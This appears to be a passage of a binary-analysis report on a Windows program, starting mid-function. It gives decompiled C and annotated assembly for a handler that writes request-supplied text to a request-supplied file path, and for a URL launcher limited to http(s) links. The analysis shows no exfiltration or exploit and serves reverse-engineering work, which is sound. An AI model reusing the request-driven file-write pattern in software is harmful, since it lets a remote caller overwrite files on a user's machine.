            piVar3 = (int *)((longlong)piVar5 + -0x17);
          }
          else {
            piVar3 = *(int **)(piVar5 + -2);
          }
          if (*piVar3 == 0x68746170) goto LAB_14000396a;
        }
        piVar3 = piVar5 + 0x16;
        piVar5 = piVar5 + 0x1c;
      } while (piVar3 != *(int **)(in_RDX + 0x12));
    }
    piVar5 = (int *)0x0;
LAB_14000396a:
    local_68 = 8;
    uStack_67 = 0x74786574;
    if (*(longlong *)(in_RDX + 0x10) != *(longlong *)(in_RDX + 0x12)) {
      lpBuffer = (LPCVOID)(*(longlong *)(in_RDX + 0x10) + 0x29);
      do {
        bVar1 = *(byte *)((longlong)lpBuffer + -0x29);
        if ((bVar1 & 1) == 0) {
          if (bVar1 >> 1 == 4) goto LAB_1400039dc;
        }
        else if (*(longlong *)((longlong)lpBuffer + -0x21) == 4) {
LAB_1400039dc:
          if ((bVar1 & 1) == 0) {
            piVar3 = (int *)((longlong)lpBuffer + -0x28);
          }
          else {
            piVar3 = *(int **)((longlong)lpBuffer + -0x19);
          }
          if (*piVar3 == 0x74786574) {
            if (piVar5 != (int *)0x0) {
              local_50 = 0;
              uStack_4f = 0;
              FUN_140007d10((longlong *)&local_68,piVar5,&local_50,in_R9);
              uVar2 = http_request_builder(&local_68,param_2,param_3,param_4);
              if ((local_68 & 1) != 0) {
                FUN_14001f8e0(local_58);
              }
              if ((local_50 & 1) != 0) {
                FUN_14001f8e0(local_40);
              }
              if ((char)uVar2 != '\0') {
                lpFileName = local_28;
                if ((local_38 & 1) == 0) {
                  lpFileName = (LPCWSTR)((longlong)&local_38 + 2);
                }
                hFile = CreateFileW(lpFileName,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,
                                    (HANDLE)0x0);
                if (hFile == (HANDLE)0xffffffffffffffff) {
                  local_68 = 0;
                  uStack_67 = uStack_67 & 0xffffff00;
                  local_50 = 0x18;
                  uStack_4f = 99;
                  uStack_4e = 0x7720746f6e6e61;
                  local_47 = 0x65746972;
                  local_43 = 0;
                  json_response_builder(param_1,'\0',&local_68,&local_50);
                }
                else {
                  if ((*(byte *)((longlong)lpBuffer + -1) & 1) == 0) {
                    nNumberOfBytesToWrite = (DWORD)(*(byte *)((longlong)lpBuffer + -1) >> 1);
                  }
                  else {
                    nNumberOfBytesToWrite = *(DWORD *)((longlong)lpBuffer + 7);
                    lpBuffer = *(LPCVOID *)((longlong)lpBuffer + 0xf);
                  }
                  WriteFile(hFile,lpBuffer,nNumberOfBytesToWrite,&local_1c,(LPOVERLAPPED)0x0);
                  CloseHandle(hFile);
                  local_68 = 8;
                  uStack_67 = 0x65757274;
                  local_63 = 0;
                  local_50 = 0;
                  uStack_4f = 0;
                  json_response_builder(param_1,'\x01',&local_68,&local_50);
                }
                goto LAB_140003a90;
              }
            }
            break;
          }
        }
        lVar4 = (longlong)lpBuffer + 0x47;
        lpBuffer = (LPCVOID)((longlong)lpBuffer + 0x70);
      } while (lVar4 != *(longlong *)(in_RDX + 0x12));
    }
  }
  local_68 = 0;
  uStack_67 = uStack_67 & 0xffffff00;
  local_50 = 0x10;
  uStack_4f = 0x62;
  uStack_4e = 0x68746170206461;
  local_47 = local_47 & 0xffffff00;
  json_response_builder(param_1,'\0',&local_68,&local_50);
LAB_140003a90:
  if ((local_68 & 1) != 0) {
    FUN_14001f8e0(local_58);
  }
  if ((local_38 & 1) != 0) {
    FUN_14001f8e0(local_28);
  }
  return;
}

Assembly · 177 instructions, 9 annotated
AddressBytesInstructionComment
1400038b056PUSH RSI
1400038b157PUSH RDI
1400038b253PUSH RBX
1400038b348 81 ec 90 00 00 00SUB RSP,0x90
1400038ba48 89 ceMOV RSI,RCX
1400038bd0f 57 c0XORPS XMM0,XMM0
1400038c00f 29 44 24 70MOVAPS xmmword ptr [RSP + local_38[0]],XMM0
1400038c548 c7 84 24 80 00 00 00 …MOV qword ptr [RSP + local_28],0x0
1400038d148 85 d2TEST RDX,RDX
1400038d40f 84 82 01 00 00JZ LAB_140003a5c
1400038da48 89 d0MOV RAX,RDX
1400038ddc6 44 24 40 08MOV byte ptr [RSP + local_68],0x8
1400038e2c7 44 24 41 70 61 74 68MOV dword ptr [RSP + local_68+0x1],0x68746170
1400038ea83 3a 06CMP dword ptr [RDX],0x6
1400038ed0f 85 69 01 00 00JNZ LAB_140003a5c
1400038f348 8b 50 40MOV RDX,qword ptr [RAX + 0x40]
1400038f748 8b 48 48MOV RCX,qword ptr [RAX + 0x48]
1400038fb48 39 caCMP RDX,RCX
1400038fe74 68JZ LAB_140003968
14000390048 83 c2 18ADD RDX,0x18
140003904eb 29JMP LAB_14000392f
LAB_140003910:
1400039104c 8b 42 f8MOV R8,qword ptr [RDX + -0x8]
LAB_140003914:
14000391445 8b 00MOV R8D,dword ptr [R8]
14000391744 3b 44 24 41CMP R8D,dword ptr [RSP + local_68+0x1]
14000391c74 4cJZ LAB_14000396a
LAB_14000391e:
14000391e4c 8d 42 e8LEA R8,[RDX + -0x18]
14000392248 83 c2 70ADD RDX,0x70
14000392649 83 c0 70ADD R8,0x70
14000392a49 39 c8CMP R8,RCX
14000392d74 39JZ LAB_140003968
LAB_14000392f:
14000392f44 0f b6 42 e8MOVZX R8D,byte ptr [RDX + -0x18]
14000393441 f6 c0 01TEST R8B,0x1
14000393874 16JZ LAB_140003950
14000393a4c 8b 4a f0MOV R9,qword ptr [RDX + -0x10]
14000393e49 83 f9 04CMP R9,0x4
14000394275 daJNZ LAB_14000391e
140003944eb 16JMP LAB_14000395c
LAB_140003950:
14000395045 89 c1MOV R9D,R8D
14000395341 d1 e9SHR R9D,0x1
14000395649 83 f9 04CMP R9,0x4
14000395a75 c2JNZ LAB_14000391e
LAB_14000395c:
14000395c41 f6 c0 01TEST R8B,0x1
14000396075 aeJNZ LAB_140003910
1400039624c 8d 42 e9LEA R8,[RDX + -0x17]
140003966eb acJMP LAB_140003914
LAB_140003968:
14000396831 d2XOR EDX,EDX
LAB_14000396a:
14000396ac6 44 24 40 08MOV byte ptr [RSP + local_68],0x8
14000396fc7 44 24 41 74 65 78 74MOV dword ptr [RSP + local_68+0x1],0x74786574
14000397748 8b 78 40MOV RDI,qword ptr [RAX + 0x40]
14000397b48 8b 40 48MOV RAX,qword ptr [RAX + 0x48]
14000397f48 39 c7CMP RDI,RAX
1400039820f 84 d4 00 00 00JZ LAB_140003a5c
14000398848 83 c7 29ADD RDI,0x29
14000398ceb 23JMP LAB_1400039b1
LAB_140003990:
14000399048 8b 4f e7MOV RCX,qword ptr [RDI + -0x19]
LAB_140003994:
1400039948b 09MOV ECX,dword ptr [RCX]
1400039963b 4c 24 41CMP ECX,dword ptr [RSP + local_68+0x1]
14000399a74 4bJZ LAB_1400039e7
LAB_14000399c:
14000399c48 8d 4f d7LEA RCX,[RDI + -0x29]
1400039a048 83 c7 70ADD RDI,0x70
1400039a448 83 c1 70ADD RCX,0x70
1400039a848 39 c1CMP RCX,RAX
1400039ab0f 84 ab 00 00 00JZ LAB_140003a5c
LAB_1400039b1:
1400039b10f b6 4f d7MOVZX ECX,byte ptr [RDI + -0x29]
1400039b5f6 c1 01TEST CL,0x1
1400039b874 16JZ LAB_1400039d0
1400039ba4c 8b 47 dfMOV R8,qword ptr [RDI + -0x21]
1400039be49 83 f8 04CMP R8,0x4
1400039c275 d8JNZ LAB_14000399c
1400039c4eb 16JMP LAB_1400039dc
LAB_1400039d0:
1400039d041 89 c8MOV R8D,ECX
1400039d341 d1 e8SHR R8D,0x1
1400039d649 83 f8 04CMP R8,0x4
1400039da75 c0JNZ LAB_14000399c
LAB_1400039dc:
1400039dcf6 c1 01TEST CL,0x1
1400039df75 afJNZ LAB_140003990
1400039e148 8d 4f d8LEA RCX,[RDI + -0x28]
1400039e5eb adJMP LAB_140003994
LAB_1400039e7:
1400039e748 85 d2TEST RDX,RDX
1400039ea74 70JZ LAB_140003a5c
1400039ec66 c7 44 24 58 00 00MOV word ptr [RSP + local_50[0]],0x0
1400039f348 8d 4c 24 40LEA RCX,[RSP + 0x40]
1400039f84c 8d 44 24 58LEA R8,[RSP + 0x58]
1400039fde8 0e 43 00 00CALL FUN_140007d10; FUN_140007d10: strlen, memcpy
140003a0248 8d 4c 24 40LEA RCX,[RSP + 0x40]
140003a0748 8d 54 24 70LEA RDX,[RSP + 0x70]
140003a0ce8 0f 0c 00 00CALL http_request_builder; → http_request_builder (B3, E22)
140003a1189 c3MOV EBX,EAX
140003a13f6 44 24 40 01TEST byte ptr [RSP + local_68],0x1
140003a1875 23JNZ LAB_140003a3d
140003a1af6 44 24 58 01TEST byte ptr [RSP + local_50[0]],0x1
140003a1f75 2dJNZ LAB_140003a4e
LAB_140003a21:
140003a2184 dbTEST BL,BL
140003a2374 37JZ LAB_140003a5c
LAB_140003a25:
140003a25f6 44 24 70 01TEST byte ptr [RSP + local_38[0]],0x1
140003a2a0f 84 91 00 00 00JZ LAB_140003ac1
140003a3048 8b 8c 24 80 00 00 00MOV RCX,qword ptr [RSP + local_28]
140003a38e9 89 00 00 00JMP LAB_140003ac6
LAB_140003a3d:
140003a3d48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_58]
140003a42e8 99 be 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140003a47f6 44 24 58 01TEST byte ptr [RSP + local_50[0]],0x1
140003a4c74 d3JZ LAB_140003a21
LAB_140003a4e:
140003a4e48 8b 4c 24 68MOV RCX,qword ptr [RSP + local_40]
140003a53e8 88 be 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140003a5884 dbTEST BL,BL
140003a5a75 c9JNZ LAB_140003a25
LAB_140003a5c:
140003a5c66 c7 44 24 40 00 00MOV word ptr [RSP + local_68],0x0
140003a63c6 44 24 58 10MOV byte ptr [RSP + local_50[0]],0x10
140003a6848 b8 62 61 64 20 70 61 …MOV RAX,0x6874617020646162
140003a7248 89 44 24 59MOV qword ptr [RSP + local_50[1]],RAX
140003a77c6 44 24 61 00MOV byte ptr [RSP + local_47],0x0
140003a7c4c 8d 44 24 40LEA R8,[RSP + 0x40]
140003a814c 8d 4c 24 58LEA R9,[RSP + 0x58]
140003a8648 89 f1MOV RCX,RSI
140003a8931 d2XOR EDX,EDX
140003a8be8 70 ee ff ffCALL json_response_builder; → json_response_builder (B10, E19)
LAB_140003a90:
140003a90f6 44 24 40 01TEST byte ptr [RSP + local_68],0x1
140003a9574 0aJZ LAB_140003aa1
140003a9748 8b 4c 24 50MOV RCX,qword ptr [RSP + local_58]
140003a9ce8 3f be 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140003aa1:
140003aa1f6 44 24 70 01TEST byte ptr [RSP + local_38[0]],0x1
140003aa674 0dJZ LAB_140003ab5
140003aa848 8b 8c 24 80 00 00 00MOV RCX,qword ptr [RSP + local_28]
140003ab0e8 2b be 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140003ab5:
140003ab590NOP
140003ab648 81 c4 90 00 00 00ADD RSP,0x90
140003abd5bPOP RBX
140003abe5fPOP RDI
140003abf5ePOP RSI
140003ac0c3RET
LAB_140003ac1:
140003ac148 8d 4c 24 72LEA RCX,[RSP + 0x72]
LAB_140003ac6:
140003ac648 c7 44 24 30 00 00 00 …MOV qword ptr [RSP + local_78],0x0
140003acfc7 44 24 28 80 00 00 00MOV dword ptr [RSP + local_80],0x80
140003ad7c7 44 24 20 02 00 00 00MOV dword ptr [RSP + local_88],0x2
140003adfba 00 00 00 40MOV EDX,0x40000000
140003ae445 31 c0XOR R8D,R8D
140003ae745 31 c9XOR R9D,R9D
140003aeaff 15 e8 ec 0a 00CALL qword ptr [PTR_CreateFileW_1400b27d8]
140003af048 89 c3MOV RBX,RAX
140003af348 83 f8 ffCMP RAX,-0x1
140003af774 15JZ LAB_140003b0e
140003af944 0f b6 47 ffMOVZX R8D,byte ptr [RDI + -0x1]
140003afe41 f6 c0 01TEST R8B,0x1
140003b0274 4bJZ LAB_140003b4f
140003b0444 8b 47 07MOV R8D,dword ptr [RDI + 0x7]
140003b0848 8b 7f 0fMOV RDI,qword ptr [RDI + 0xf]
140003b0ceb 44JMP LAB_140003b52
LAB_140003b0e:
140003b0e66 c7 44 24 40 00 00MOV word ptr [RSP + local_68],0x0
140003b15c6 44 24 58 18MOV byte ptr [RSP + local_50[0]],0x18
140003b1a48 b8 63 61 6e 6e 6f 74 …MOV RAX,0x7720746f6e6e6163
140003b2448 89 44 24 59MOV qword ptr [RSP + local_50[1]],RAX
140003b29c7 44 24 61 72 69 74 65MOV dword ptr [RSP + local_47],0x65746972
140003b31c6 44 24 65 00MOV byte ptr [RSP + local_43],0x0
140003b364c 8d 44 24 40LEA R8,[RSP + 0x40]
140003b3b4c 8d 4c 24 58LEA R9,[RSP + 0x58]
140003b4048 89 f1MOV RCX,RSI
140003b4331 d2XOR EDX,EDX
140003b45e8 b6 ed ff ffCALL json_response_builder; → json_response_builder (B10, E19)
140003b4ae9 41 ff ff ffJMP LAB_140003a90
LAB_140003b4f:
140003b4f41 d1 e8SHR R8D,0x1
LAB_140003b52:
140003b5248 c7 44 24 20 00 00 00 …MOV qword ptr [RSP + local_88],0x0
140003b5b4c 8d 8c 24 8c 00 00 00LEA R9,[RSP + 0x8c]
140003b6348 89 d9MOV RCX,RBX
140003b6648 89 faMOV RDX,RDI
140003b69ff 15 d9 ee 0a 00CALL qword ptr [PTR_WriteFile_1400b2a48]
140003b6f48 89 d9MOV RCX,RBX
140003b72ff 15 50 ec 0a 00CALL qword ptr [PTR_CloseHandle_1400b27c8]
140003b78c6 44 24 40 08MOV byte ptr [RSP + local_68],0x8
140003b7dc7 44 24 41 74 72 75 65MOV dword ptr [RSP + local_68+0x1],0x65757274
140003b85c6 44 24 45 00MOV byte ptr [RSP + local_63],0x0
140003b8a66 c7 44 24 58 00 00MOV word ptr [RSP + local_50[0]],0x0
140003b914c 8d 44 24 40LEA R8,[RSP + 0x40]
140003b964c 8d 4c 24 58LEA R9,[RSP + 0x58]
140003b9b48 89 f1MOV RCX,RSI
140003b9eb2 01MOV DL,0x1
140003ba0e8 5b ed ff ffCALL json_response_builder; → json_response_builder (B10, E19)
140003ba5e9 e6 fe ff ffJMP LAB_140003a90

url_launcher

0x140003c10893 bytes
undefined url_launcher(ulonglong param_1, int * param_2, undefined8 param_3, undefined8 param_4)

Opens URLs via ShellExecuteW, builds JSON response with result

Cited as
E6
Behaviours
B5
Called from
ui_thread_handler
Calls
ShellExecuteW json_response_builder, FUN_140002e30, FUN_140007d10, FUN_14001f8e0
Decompiled C · 195 lines
void url_launcher(ulonglong param_1,int *param_2,undefined8 param_3,undefined8 param_4)

{
  LPCWSTR pWVar1;
  byte bVar2;
  LPCWSTR lpFile;
  ulonglong uVar3;
  LPCWSTR pWVar4;
  short *psVar5;
  int *piVar6;
  ulonglong uVar7;
  int *piVar8;
  LPCWSTR pWVar9;
  LPCWSTR pWVar10;
  byte local_50;
  uint uStack_4f;
  uint uStack_4b;
  undefined4 local_47;
  undefined1 local_43;
  void *local_40;
  undefined4 local_38;
  ulonglong local_30;
  LPCWSTR local_28;
  byte local_20;
  char cStack_1f;
  undefined7 uStack_1e;
  undefined7 uStack_17;
  char cStack_10;
  undefined4 uStack_f;
  undefined1 uStack_b;
  undefined2 uStack_a;
  
  if (param_2 != (int *)0x0) {
    local_38._0_3_ = 0x727506;
    local_38._3_1_ = 0x6c;
    if (*param_2 == 6) {
      if (*(int **)(param_2 + 0x10) != *(int **)(param_2 + 0x12)) {
        piVar8 = *(int **)(param_2 + 0x10) + 6;
        do {
          bVar2 = *(byte *)(piVar8 + -6);
          if ((bVar2 & 1) == 0) {
            if (bVar2 >> 1 == 3) goto LAB_140003cbc;
          }
          else if (*(longlong *)(piVar8 + -4) == 3) {
LAB_140003cbc:
            if ((bVar2 & 1) == 0) {
              psVar5 = (short *)((longlong)piVar8 + -0x17);
            }
            else {
              psVar5 = *(short **)(piVar8 + -2);
            }
            if ((char)psVar5[1] == 'l' && *psVar5 == 0x7275) {
              local_20 = 0;
              cStack_1f = 0;
              FUN_140007d10((longlong *)&local_50,piVar8,&local_20,param_4);
              FUN_140002e30((byte *)&local_38,&local_50);
              if ((local_50 & 1) != 0) {
                FUN_14001f8e0(local_40);
              }
              if ((local_20 & 1) != 0) {
                FUN_14001f8e0((void *)CONCAT26(uStack_a,CONCAT15(uStack_b,CONCAT41(uStack_f,
                                                  cStack_10))));
              }
              uVar3 = (ulonglong)((byte)local_38 >> 1);
              lpFile = (LPCWSTR)((longlong)&local_38 + 2);
              if (((uint3)local_38 & 1) != 0) {
                uVar3 = local_30;
                lpFile = local_28;
              }
              uVar7 = 7;
              if (uVar3 < 7) {
                uVar7 = uVar3;
              }
              if (uVar3 == 0) goto LAB_140003f4d;
              pWVar1 = lpFile + (uVar7 & 0xffffffff);
              pWVar4 = pWVar1;
              pWVar9 = lpFile;
              goto LAB_140003da4;
            }
          }
          piVar6 = piVar8 + 0x16;
          piVar8 = piVar8 + 0x1c;
        } while (piVar6 != *(int **)(param_2 + 0x12));
      }
    }
  }
  local_38._0_3_ = (uint3)local_38 & 0xff0000;
  local_50 = 0x18;
  uStack_4f = 0x206c7275;
  uStack_4b = 0x75716572;
  local_47 = 0x64657269;
  local_43 = 0;
  json_response_builder(param_1,'\0',(byte *)&local_38,&local_50);
  goto LAB_140003d03;
LAB_140003da4:
  do {
    do {
      do {
        do {
          do {
            pWVar10 = pWVar9 + 6;
            while (pWVar9 = pWVar10 + -5, pWVar10[-6] != L'h') {
              pWVar10 = pWVar10 + 1;
              if (pWVar9 == pWVar1) goto LAB_140003e2e;
            }
            if (pWVar9 == pWVar1) goto LAB_140003e2e;
          } while (*pWVar9 != L't');
          if (pWVar10 + -4 == pWVar1) goto LAB_140003e2e;
        } while (pWVar10[-4] != L't');
        if (pWVar10 + -3 == pWVar1) goto LAB_140003e2e;
      } while (pWVar10[-3] != L'p');
      if (pWVar10 + -2 == pWVar1) goto LAB_140003e2e;
    } while (pWVar10[-2] != L':');
    if (pWVar10 + -1 == pWVar1) goto LAB_140003e2e;
  } while (pWVar10[-1] != L'/');
  if (pWVar10 == pWVar1) goto LAB_140003e2e;
  pWVar9 = pWVar10 + -5;
  if (*pWVar10 == L'/') {
    pWVar4 = pWVar10 + -6;
  }
  goto LAB_140003da4;
LAB_140003e2e:
  if ((pWVar4 == pWVar1) || (pWVar4 != lpFile)) {
    uVar7 = 8;
    if (uVar3 < 8) {
      uVar7 = uVar3;
    }
    pWVar1 = lpFile + (uVar7 & 0xffffffff);
    pWVar4 = pWVar1;
    pWVar9 = lpFile;
    while( true ) {
      do {
        do {
          do {
            do {
              do {
                do {
                  pWVar10 = pWVar9 + 7;
                  while (pWVar9 = pWVar10 + -6, pWVar10[-7] != L'h') {
                    pWVar10 = pWVar10 + 1;
                    if (pWVar9 == pWVar1) goto LAB_140003ef1;
                  }
                  if (pWVar9 == pWVar1) goto LAB_140003ef1;
                } while (*pWVar9 != L't');
                if (pWVar10 + -5 == pWVar1) goto LAB_140003ef1;
              } while (pWVar10[-5] != L't');
              if (pWVar10 + -4 == pWVar1) goto LAB_140003ef1;
            } while (pWVar10[-4] != L'p');
            if (pWVar10 + -3 == pWVar1) goto LAB_140003ef1;
          } while (pWVar10[-3] != L's');
          if (pWVar10 + -2 == pWVar1) goto LAB_140003ef1;
        } while (pWVar10[-2] != L':');
        if (pWVar10 + -1 == pWVar1) goto LAB_140003ef1;
      } while (pWVar10[-1] != L'/');
      if (pWVar10 == pWVar1) break;
      pWVar9 = pWVar10 + -6;
      if (*pWVar10 == L'/') {
        pWVar4 = pWVar10 + -7;
      }
    }
LAB_140003ef1:
    if ((pWVar4 != pWVar1) && (pWVar4 == lpFile)) goto LAB_140003efb;
LAB_140003f4d:
    local_50 = 0;
    uStack_4f = uStack_4f & 0xffffff00;
    local_20 = 0x28;
    cStack_1f = (char)s_only_http_s__allowed_14009bc1d._0_8_;
    uStack_1e = SUB87(s_only_http_s__allowed_14009bc1d._0_8_,1);
    uStack_17 = (undefined7)s_only_http_s__allowed_14009bc1d._8_8_;
    cStack_10 = SUB81(s_only_http_s__allowed_14009bc1d._8_8_,7);
    uStack_f = 0x6465776f;
    uStack_b = 0;
    json_response_builder(param_1,'\0',&local_50,&local_20);
  }
  else {
LAB_140003efb:
    ShellExecuteW((HWND)0x0,L"open",lpFile,(LPCWSTR)0x0,(LPCWSTR)0x0,1);
    local_50 = 8;
    uStack_4f = 0x65757274;
    uStack_4b = uStack_4b & 0xffffff00;
    local_20 = 0;
    cStack_1f = '\0';
    json_response_builder(param_1,'\x01',&local_50,&local_20);
  }
  if ((local_50 & 1) != 0) {
    FUN_14001f8e0(local_40);
  }
LAB_140003d03:
  if (((uint3)local_38 & 1) != 0) {
    FUN_14001f8e0(local_28);
  }
  return;
}

Assembly · 229 instructions, 11 annotated
AddressBytesInstructionComment
140003c1056PUSH RSI
140003c1148 81 ec 80 00 00 00SUB RSP,0x80
140003c1848 89 ceMOV RSI,RCX
140003c1b48 85 d2TEST RDX,RDX
140003c1e0f 84 a3 00 00 00JZ LAB_140003cc7
140003c24c6 44 24 50 06MOV byte ptr [RSP + local_38],0x6
140003c2966 c7 44 24 51 75 72MOV word ptr [RSP + local_38+0x1],0x7275
140003c30c6 44 24 53 6cMOV byte ptr [RSP + local_38+0x3],0x6c
140003c3583 3a 06CMP dword ptr [RDX],0x6
140003c380f 85 89 00 00 00JNZ LAB_140003cc7
140003c3e48 89 d0MOV RAX,RDX
140003c4148 8b 52 40MOV RDX,qword ptr [RDX + 0x40]
140003c4548 8b 40 48MOV RAX,qword ptr [RAX + 0x48]
140003c4948 39 c2CMP RDX,RAX
140003c4c74 79JZ LAB_140003cc7
140003c4e48 83 c2 18ADD RDX,0x18
140003c52eb 40JMP LAB_140003c94
LAB_140003c60:
140003c6048 8b 4a f8MOV RCX,qword ptr [RDX + -0x8]
LAB_140003c64:
140003c6444 0f b7 01MOVZX R8D,word ptr [RCX]
140003c6866 44 33 44 24 51XOR R8W,word ptr [RSP + local_38+0x1]
140003c6e0f b6 49 02MOVZX ECX,byte ptr [RCX + 0x2]
140003c7232 4c 24 53XOR CL,byte ptr [RSP + local_38+0x3]
140003c760f b6 c9MOVZX ECX,CL
140003c7966 44 09 c1OR CX,R8W
140003c7d0f 84 9b 00 00 00JZ LAB_140003d1e
LAB_140003c83:
140003c8348 8d 4a e8LEA RCX,[RDX + -0x18]
140003c8748 83 c2 70ADD RDX,0x70
140003c8b48 83 c1 70ADD RCX,0x70
140003c8f48 39 c1CMP RCX,RAX
140003c9274 33JZ LAB_140003cc7
LAB_140003c94:
140003c940f b6 4a e8MOVZX ECX,byte ptr [RDX + -0x18]
140003c98f6 c1 01TEST CL,0x1
140003c9b74 13JZ LAB_140003cb0
140003c9d4c 8b 42 f0MOV R8,qword ptr [RDX + -0x10]
140003ca149 83 f8 03CMP R8,0x3
140003ca575 dcJNZ LAB_140003c83
140003ca7eb 13JMP LAB_140003cbc
LAB_140003cb0:
140003cb041 89 c8MOV R8D,ECX
140003cb341 d1 e8SHR R8D,0x1
140003cb649 83 f8 03CMP R8,0x3
140003cba75 c7JNZ LAB_140003c83
LAB_140003cbc:
140003cbcf6 c1 01TEST CL,0x1
140003cbf75 9fJNZ LAB_140003c60
140003cc148 8d 4a e9LEA RCX,[RDX + -0x17]
140003cc5eb 9dJMP LAB_140003c64
LAB_140003cc7:
140003cc766 c7 44 24 50 00 00MOV word ptr [RSP + local_38],0x0
140003ccec6 44 24 38 18MOV byte ptr [RSP + local_50[0]],0x18
140003cd348 b8 75 72 6c 20 72 65 …MOV RAX,0x75716572206c7275
140003cdd48 89 44 24 39MOV qword ptr [RSP + local_50[1]],RAX
140003ce2c7 44 24 41 69 72 65 64MOV dword ptr [RSP + local_47],0x64657269
140003ceac6 44 24 45 00MOV byte ptr [RSP + local_43],0x0
140003cef4c 8d 44 24 50LEA R8,[RSP + 0x50]
140003cf44c 8d 4c 24 38LEA R9,[RSP + 0x38]
140003cf948 89 f1MOV RCX,RSI
140003cfc31 d2XOR EDX,EDX
140003cfee8 fd eb ff ffCALL json_response_builder; → json_response_builder (B10, E19)
LAB_140003d03:
140003d03f6 44 24 50 01TEST byte ptr [RSP + local_38],0x1
140003d0874 0aJZ LAB_140003d14
140003d0a48 8b 4c 24 60MOV RCX,qword ptr [RSP + local_28]
140003d0fe8 cc bb 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140003d14:
140003d1490NOP
140003d1548 81 c4 80 00 00 00ADD RSP,0x80
140003d1c5ePOP RSI
140003d1dc3RET
LAB_140003d1e:
140003d1e66 c7 44 24 68 00 00MOV word ptr [RSP + local_20[0]],0x0
140003d2548 8d 4c 24 38LEA RCX,[RSP + 0x38]
140003d2a4c 8d 44 24 68LEA R8,[RSP + 0x68]
140003d2fe8 dc 3f 00 00CALL FUN_140007d10; FUN_140007d10: strlen, memcpy
140003d3448 8d 4c 24 50LEA RCX,[RSP + 0x50]
140003d3948 8d 54 24 38LEA RDX,[RSP + 0x38]
140003d3ee8 ed f0 ff ffCALL FUN_140002e30; FUN_140002e30: MultiByteToWideChar
140003d43f6 44 24 38 01TEST byte ptr [RSP + local_50[0]],0x1
140003d4874 0aJZ LAB_140003d54
140003d4a48 8b 4c 24 48MOV RCX,qword ptr [RSP + local_40]
140003d4fe8 8c bb 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140003d54:
140003d54f6 44 24 68 01TEST byte ptr [RSP + local_20[0]],0x1
140003d5974 0aJZ LAB_140003d65
140003d5b48 8b 4c 24 78MOV RCX,qword ptr [RSP + local_20[16]]
140003d60e8 7b bb 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140003d65:
140003d650f b6 4c 24 50MOVZX ECX,byte ptr [RSP + local_38]
140003d6a89 c8MOV EAX,ECX
140003d6cd1 e8SHR EAX,0x1
140003d6ef6 c1 01TEST CL,0x1
140003d714c 8d 44 24 52LEA R8,[RSP + 0x52]
140003d764c 0f 45 44 24 60CMOVNZ R8,qword ptr [RSP + local_28]
140003d7c48 0f 45 44 24 58CMOVNZ RAX,qword ptr [RSP + local_30]
140003d8248 83 f8 07CMP RAX,0x7
140003d86b9 07 00 00 00MOV ECX,0x7
140003d8b48 0f 42 c8CMOVC RCX,RAX
140003d8f48 85 c0TEST RAX,RAX
140003d920f 84 b5 01 00 00JZ LAB_140003f4d
140003d9889 c9MOV ECX,ECX
140003d9a49 8d 14 48LEA RDX,[R8 + RCX*0x2]
140003d9e4d 89 c1MOV R9,R8
140003da148 89 d1MOV RCX,RDX
LAB_140003da4:
140003da449 83 c1 0cADD R9,0xc
140003da84d 89 caMOV R10,R9
140003dab0f 1f 44 00 00NOP dword ptr [RAX + RAX*0x1]
LAB_140003db0:
140003db04d 8d 4a f6LEA R9,[R10 + -0xa]
140003db466 41 83 7a f4 68CMP word ptr [R10 + local_38+0x2],0x68
140003dba74 0bJZ LAB_140003dc7
140003dbc49 83 c2 02ADD R10,0x2
140003dc049 39 d1CMP R9,RDX
140003dc375 ebJNZ LAB_140003db0
140003dc5eb 67JMP LAB_140003e2e
LAB_140003dc7:
140003dc749 39 d1CMP R9,RDX
140003dca74 62JZ LAB_140003e2e
140003dcc66 41 83 39 74CMP word ptr [R9],0x74
140003dd175 d1JNZ LAB_140003da4
140003dd34d 8d 5a f8LEA R11,[R10 + -0x8]
140003dd749 39 d3CMP R11,RDX
140003dda74 52JZ LAB_140003e2e
140003ddc66 41 83 3b 74CMP word ptr [R11],0x74
140003de175 c1JNZ LAB_140003da4
140003de34d 8d 5a faLEA R11,[R10 + -0x6]
140003de749 39 d3CMP R11,RDX
140003dea74 42JZ LAB_140003e2e
140003dec66 41 83 3b 70CMP word ptr [R11],0x70
140003df175 b1JNZ LAB_140003da4
140003df34d 8d 5a fcLEA R11,[R10 + -0x4]
140003df749 39 d3CMP R11,RDX
140003dfa74 32JZ LAB_140003e2e
140003dfc66 41 83 3b 3aCMP word ptr [R11],0x3a
140003e0175 a1JNZ LAB_140003da4
140003e034d 8d 5a feLEA R11,[R10 + -0x2]
140003e0749 39 d3CMP R11,RDX
140003e0a74 22JZ LAB_140003e2e
140003e0c66 41 83 3b 2fCMP word ptr [R11],0x2f
140003e1175 91JNZ LAB_140003da4
140003e1349 39 d2CMP R10,RDX
140003e1674 16JZ LAB_140003e2e
140003e184d 8d 5a f4LEA R11,[R10 + -0xc]
140003e1c4d 8d 4a f6LEA R9,[R10 + -0xa]
140003e2066 41 83 3a 2fCMP word ptr [R10],0x2f
140003e2549 0f 44 cbCMOVZ RCX,R11
140003e29e9 76 ff ff ffJMP LAB_140003da4
LAB_140003e2e:
140003e2e48 39 d1CMP RCX,RDX
140003e3174 09JZ LAB_140003e3c
140003e334c 39 c1CMP RCX,R8
140003e360f 84 bf 00 00 00JZ LAB_140003efb
LAB_140003e3c:
140003e3c48 83 f8 08CMP RAX,0x8
140003e40b9 08 00 00 00MOV ECX,0x8
140003e4548 0f 42 c8CMOVC RCX,RAX
140003e4989 c8MOV EAX,ECX
140003e4b49 8d 0c 40LEA RCX,[R8 + RAX*0x2]
140003e4f4c 89 c2MOV RDX,R8
140003e5248 89 c8MOV RAX,RCX
LAB_140003e55:
140003e5548 83 c2 0eADD RDX,0xe
140003e5949 89 d1MOV R9,RDX
140003e5c0f 1f 40 00NOP dword ptr [RAX]
LAB_140003e60:
140003e6049 8d 51 f4LEA RDX,[R9 + -0xc]
140003e6466 41 83 79 f2 68CMP word ptr [R9 + local_38+0x2],0x68
140003e6a74 0bJZ LAB_140003e77
140003e6c49 83 c1 02ADD R9,0x2
140003e7048 39 caCMP RDX,RCX
140003e7375 ebJNZ LAB_140003e60
